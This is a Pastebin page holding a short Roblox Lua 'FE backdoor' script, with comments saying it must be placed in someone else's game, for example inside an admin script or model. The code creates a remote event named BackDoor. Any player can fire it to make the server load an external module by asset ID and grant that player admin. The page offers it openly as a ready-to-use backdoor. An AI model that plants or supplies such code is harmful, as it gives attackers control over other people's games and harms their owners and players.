Advertisement
Xfer1111

FE backdoor script (READ THREAD!)

Jul 16th, 2020
3,201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.27 KB | None | 0 0
  1. -- Must be placed in someones game (Team Create or Model - Ex: Admin Script)
  2. -- Cannot be Executed by exploits!
  3. -- Not owned by me, Credits to the original Owner
  4. -- Original Thread: https://v3rmillion.net/showthread.php?tid=521559
  5. -- Xfer was here (T.V.K)
  6.  
  7. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  8. local backdoorRemote = Instance.new("RemoteEvent", ReplicatedStorage) -- creates a remote in replicated storage called BackDoor
  9. backdoorRemote.Name = "BackDoor"
  10.  
  11. local function playerExecute(player, a) -- this function is called when someone runs the backdoor
  12.    if a == "mml" or "etc" then -- checks if the backdoor's "execution option" is valid
  13.        print(player.Name, " executed a backdoor script, ", a)
  14.        if a == "mml" then -- checks if the option is "mml"
  15.            require(520532182).giveAdmin(player.Name) -- gives player mml admin
  16.        end
  17.        
  18.        if a == "etc" then -- change 'etc' to whatever you want another option to be.
  19.            
  20.        end
  21.    else
  22.        print("@", player.Name, ", incorrect backdoor option") -- prints to console that it is a invalid backdoor execution option option
  23.    end
  24. end
  25.  
  26. backdoorRemote.OnServerEvent:Connect(playerExecute) -- makes it so when the backdoor is run, the function above runs as well
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement